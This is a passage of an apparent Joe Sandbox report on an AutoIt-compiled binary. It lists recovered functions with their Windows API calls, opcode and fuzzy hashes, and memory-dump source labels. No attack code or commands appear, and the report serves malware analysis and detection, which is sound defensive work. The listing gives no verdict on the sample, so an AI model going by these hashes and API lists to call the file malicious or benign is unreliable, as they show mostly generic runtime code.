Opcode ID: d520ed31ff840efdd1569a97dbc11f48c20c49fb55c776d4a16facbb14f209fb
Instruction ID: 86be79370a0bc7718f40092894605e9e5762784c9265c97d75eab89bd8219218
Opcode Fuzzy Hash: d520ed31ff840efdd1569a97dbc11f48c20c49fb55c776d4a16facbb14f209fb
Instruction Fuzzy Hash: 9DD18E71E0060A9FDF10CF98C885FAEB7B9BB48344F15856DE915AB281E770ED81CB91

Function 00981522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 009815CE
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00981651
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 009816E4
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 009816FB

Part of subcall function 00973820: RtlAllocateHeap.NTDLL(00000000,?,00A11444,?,0095FDF5,?,?,0094A976,00000010,00A11440,009413FC,?,009413C6,?,00941129), ref: 00973852

MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00981777
__freea.LIBCMT ref: 009817A2
__freea.LIBCMT ref: 009817AE

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: b3d80e15013ab1c8f1613d498b35a0c907fca8e77c7c01388b60ffe7d6226981
Instruction ID: cc59b35a1e3fc79edc38fd90a8c5cd64df728229ad2017f58ab3933d1f316609
Opcode Fuzzy Hash: b3d80e15013ab1c8f1613d498b35a0c907fca8e77c7c01388b60ffe7d6226981
Instruction Fuzzy Hash: 2A91A572E002169ADF20AE74C881EEE7BBD9F49750F184659F806E7341D739DD82CB60

Function 009C4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 009C4648
VariantInit.OLEAUT32(?), ref: 009C4749
VariantClear.OLEAUT32(?), ref: 009C4753
VariantClear.OLEAUT32(?), ref: 009C47B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 009C472C
Null Object assignment in FOR..IN loop, xrefs: 009C45D8, 009C4706, 009C47BE

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 6bfdc0f9caf3e513e3025bf1db06eb1e9273109bf5c2e71974e4157d2d9d7965
Instruction ID: 154e7d72279148ebf2317506506355566a12ab94245dbdceac3e6f4a212563d3
Opcode Fuzzy Hash: 6bfdc0f9caf3e513e3025bf1db06eb1e9273109bf5c2e71974e4157d2d9d7965
Instruction Fuzzy Hash: FC919E71E00219ABDF20CFA5C898FAEBBB8EF86714F10855DF505AB280D7749945CFA1

Function 009B1187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 009B125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 009B1284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 009B12A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 009B12D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 009B135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 009B13C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 009B1430

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: 08755a9e7d0507d885fcab8aa3d7387ed5cab1e8947c283a161db400c0b3c66c
Instruction ID: 660061718b9cfc527423de05bf1684ee07182dea350e295c71e67c1e6352edbc
Opcode Fuzzy Hash: 08755a9e7d0507d885fcab8aa3d7387ed5cab1e8947c283a161db400c0b3c66c
Instruction Fuzzy Hash: CB910471A10219AFDB00DF98C9A4BFEB7B9FF85331F504429E910E72A1D774A941CB90

Function 0095948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 84bb4e0f449c4ccbb843a87080ec1961d5ad925f02200c08ca7cac39d6685e01
Instruction ID: eff57ef0f548c848fca1dc2b81088b2a7886c51db3fe80b7736e8bd8617e4b5f
Opcode Fuzzy Hash: 84bb4e0f449c4ccbb843a87080ec1961d5ad925f02200c08ca7cac39d6685e01
Instruction Fuzzy Hash: BA914571D04219EFDB10CFAAC884AEEBBB8FF88320F148455E915B7251D738A956CB60

Function 009C3947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 009C396B
CharUpperBuffW.USER32(?,?), ref: 009C3A7A
_wcslen.LIBCMT ref: 009C3A8A
VariantClear.OLEAUT32(?), ref: 009C3C1F

Part of subcall function 009B0CDF: VariantInit.OLEAUT32(00000000), ref: 009B0D1F
Part of subcall function 009B0CDF: VariantCopy.OLEAUT32(?,?), ref: 009B0D28
Part of subcall function 009B0CDF: VariantClear.OLEAUT32(?), ref: 009B0D34

Strings

AUTOIT.ERROR, xrefs: 009C3A80, 009C3A85
Incorrect Parameter format, xrefs: 009C39A6, 009C3BA1

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 425b41a6ddcdc070eca7bf9c2bcc5b1d130b9c89020afb88328fcab3fdb910e3
Instruction ID: 0f23e8b7ffb159f3c11c6d982d6327c441fc8dce9cc8d32d8944f950e6be6ab5
Opcode Fuzzy Hash: 425b41a6ddcdc070eca7bf9c2bcc5b1d130b9c89020afb88328fcab3fdb910e3
Instruction Fuzzy Hash: 35913675A083059FC704DF28C490A6AB7E8FF89314F14896DF8899B351DB31EE45CB92

Function 009C4BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 009A000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0099FF41,80070057,?,?,?,009A035E), ref: 009A002B
Part of subcall function 009A000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0099FF41,80070057,?,?), ref: 009A0046
Part of subcall function 009A000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0099FF41,80070057,?,?), ref: 009A0054
Part of subcall function 009A000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0099FF41,80070057,?), ref: 009A0064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 009C4C51
_wcslen.LIBCMT ref: 009C4D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 009C4DCF
CoTaskMemFree.OLE32(?), ref: 009C4DDA

Strings

NULL Pointer assignment, xrefs: 009C4E23, 009C4E52

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: a5bab4f1a6ab141a59818c5168b1da2f1a5ded03c67bc9155b4ec93d22c620b4
Instruction ID: db23fae26a8a83d10bd018b445ed43c2d467ba7389c060ee58ea5d472787d406
Opcode Fuzzy Hash: a5bab4f1a6ab141a59818c5168b1da2f1a5ded03c67bc9155b4ec93d22c620b4
Instruction Fuzzy Hash: 0E910471D00219AFDF14DFA4D891FEEB7B8BF48310F10856AE915A7291DB349A44CFA1

Function 009D20FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 009D2183
GetMenuItemCount.USER32(00000000), ref: 009D21B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 009D21DD
_wcslen.LIBCMT ref: 009D2213
GetMenuItemID.USER32(?,?), ref: 009D224D
GetSubMenu.USER32(?,?), ref: 009D225B

Part of subcall function 009A3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 009A3A57
Part of subcall function 009A3A3D: GetCurrentThreadId.KERNEL32 ref: 009A3A5E
Part of subcall function 009A3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009A25B3), ref: 009A3A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 009D22E3

Part of subcall function 009AE97B: Sleep.KERNEL32 ref: 009AE9F3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 65835ab84cb00853b7fe681803f6ad7963ef43ebd93e56ef051ea547045fa3c3
Instruction ID: f600bcfa780d46ccc6c750c645409c5e623300340011dcac2c49d97b6b7ebacb
Opcode Fuzzy Hash: 65835ab84cb00853b7fe681803f6ad7963ef43ebd93e56ef051ea547045fa3c3
Instruction Fuzzy Hash: 2C719D75A44205AFCB14DFA4C841AAEB7F5EF98320F14C45AF926AB341D734ED41CB90

Function 009D7E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01807630), ref: 009D7F37
IsWindowEnabled.USER32(01807630), ref: 009D7F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 009D801E
SendMessageW.USER32(01807630,000000B0,?,?), ref: 009D8051
IsDlgButtonChecked.USER32(?,?), ref: 009D8089
GetWindowLongW.USER32(01807630,000000EC), ref: 009D80AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 009D80C3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: bb9c2c5e472a7f727b21cfc5067f5fc6c838d6b91ff3d5f149cca47fa338ffc9
Instruction ID: f0d64575c22280af57e11d9fad21cbe9fca8f085167cc1850e103bc57c311b46
Opcode Fuzzy Hash: bb9c2c5e472a7f727b21cfc5067f5fc6c838d6b91ff3d5f149cca47fa338ffc9
Instruction Fuzzy Hash: 4171AF74688205AFEB31DFA8C884FEAFBB9EF19300F14845BE95597361DB31A845DB10

Function 009AAEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 009AAEF9
GetKeyboardState.USER32(?), ref: 009AAF0E
SetKeyboardState.USER32(?), ref: 009AAF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 009AAF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 009AAFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 009AAFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 009AB020

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 59af75484daf80111a89685e1cab803269b43eef23945e2f7d06e1aa85a06f81
Instruction ID: 8792e7748a8d30af04be2f8ab4620a0ea8e830c4f274422562f24a88a065f550
Opcode Fuzzy Hash: 59af75484daf80111a89685e1cab803269b43eef23945e2f7d06e1aa85a06f81
Instruction Fuzzy Hash: 1C51A1A06147D63EFB3642348C45BBABEAD5B07304F08858AE1E9558C3D3D9ECC4D791

Function 009AACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 009AAD19
GetKeyboardState.USER32(?), ref: 009AAD2E
SetKeyboardState.USER32(?), ref: 009AAD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 009AADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 009AADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 009AAE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 009AAE38

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 0dcba8a9e8589d95af4c7b6e1b57188c4ba9b34e2265d1eb7ee80914c13bb28e
Instruction ID: f78e8e26669f7d9f247fee62572a5dd12f04fe058d8cb0194bd935b264c7b697
Opcode Fuzzy Hash: 0dcba8a9e8589d95af4c7b6e1b57188c4ba9b34e2265d1eb7ee80914c13bb28e
Instruction Fuzzy Hash: 7751C2A15487D63EFB3782248C55B7ABEAC6B47300F188489E1D5568C2D394EC88E7A2

Function 0097542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00983CD6,?,?,?,?,?,?,?,?,00975BA3,?,?,00983CD6,?,?), ref: 00975470
__fassign.LIBCMT ref: 009754EB
__fassign.LIBCMT ref: 00975506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00983CD6,00000005,00000000,00000000), ref: 0097552C
WriteFile.KERNEL32(?,00983CD6,00000000,00975BA3,00000000,?,?,?,?,?,?,?,?,?,00975BA3,?), ref: 0097554B
WriteFile.KERNEL32(?,?,00000001,00975BA3,00000000,?,?,?,?,?,?,?,?,?,00975BA3,?), ref: 00975584

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 3d9155dfac83fd8df6582220154cb96bdbd057b7d7806b283ec9276e6964cb50
Instruction ID: 85d237bb077e45d7faed41ab35aa740ae83b11da2a81ae2cb6a82c054e392b44
Opcode Fuzzy Hash: 3d9155dfac83fd8df6582220154cb96bdbd057b7d7806b283ec9276e6964cb50
Instruction Fuzzy Hash: 3F51D6B2A0064A9FDB10CFA8D845AEEBBF9EF09300F15851EF559E7291D770DA41CB60

Function 00962D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00962D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00962D53
_ValidateLocalCookies.LIBCMT ref: 00962DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00962E0C
_ValidateLocalCookies.LIBCMT ref: 00962E61

Strings

csm, xrefs: 00962DF6

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3e5702b5a810b288deb3652fefdd0952bfae9b5b794ab20dc12fc215771b853d
Instruction ID: da9b809b45ff5b676788b04d3003e7b1418d1e682df1f51fcc4d14fc61b89086
Opcode Fuzzy Hash: 3e5702b5a810b288deb3652fefdd0952bfae9b5b794ab20dc12fc215771b853d
Instruction Fuzzy Hash: A641C334A00609ABCF10DF68C855ADEBBB9BF85364F148565E8146B392D735AE01CBD0

Function 009C10B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 009C304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 009C307A
Part of subcall function 009C304E: _wcslen.LIBCMT ref: 009C309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 009C1112
WSAGetLastError.WSOCK32 ref: 009C1121
WSAGetLastError.WSOCK32 ref: 009C11C9
closesocket.WSOCK32(00000000), ref: 009C11F9

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 308c753bf5119dbdd9ca7ebd3c8498859a17f5f9519ebacf56839ce5141e3260
Instruction ID: bb3a9c6f4bbb54307072de0809b44a27d4cbd8bfda834fdf2ad79ea53647bbf9
Opcode Fuzzy Hash: 308c753bf5119dbdd9ca7ebd3c8498859a17f5f9519ebacf56839ce5141e3260
Instruction Fuzzy Hash: AD412571A04205AFDB109F14C884FA9B7E9EF86324F188159FD159B292C778ED81CBE6

Function 009ACF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 009ADDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,009ACF22,?), ref: 009ADDFD

Part of subcall function 009ADDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,009ACF22,?), ref: 009ADE16

lstrcmpiW.KERNEL32(?,?), ref: 009ACF45
MoveFileW.KERNEL32(?,?), ref: 009ACF7F
_wcslen.LIBCMT ref: 009AD005
_wcslen.LIBCMT ref: 009AD01B
SHFileOperationW.SHELL32(?), ref: 009AD061

Strings

\*.*, xrefs: 009ACFF3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 57e28d1d6985a290299708796ed9248f0ae6a01f5d3ceb42875e4bdc6045f494
Instruction ID: e5dfcd33a7a8313db72132ffc173a4b53716ef55f5249a9d68f3c652b71157e8
Opcode Fuzzy Hash: 57e28d1d6985a290299708796ed9248f0ae6a01f5d3ceb42875e4bdc6045f494
Instruction Fuzzy Hash: 4A4137B19462195FDF12EFA4D981FDEB7BDAF49380F1004E6E505EB141EB34A684CB90

Function 009D2DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 009D2E1C
GetWindowLongW.USER32(?,000000F0), ref: 009D2E4F
GetWindowLongW.USER32(?,000000F0), ref: 009D2E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 009D2EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 009D2EE0
GetWindowLongW.USER32(?,000000F0), ref: 009D2EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 009D2F0B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 6d3d4cd9e6ee1d7d88081023b43db89ee1f59cc4c9b5ad956d186d97f6f523df
Instruction ID: 0df45b9a5773e036b4c0b0b0c44eb9254221eff14d747241a1628d857fa3196e
Opcode Fuzzy Hash: 6d3d4cd9e6ee1d7d88081023b43db89ee1f59cc4c9b5ad956d186d97f6f523df
Instruction Fuzzy Hash: 4E3115306891419FDB21CF58DC84FA537E8EBAA750F1481A6FA108F3B1CB71E880DB20

Function 009A7726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009A7769
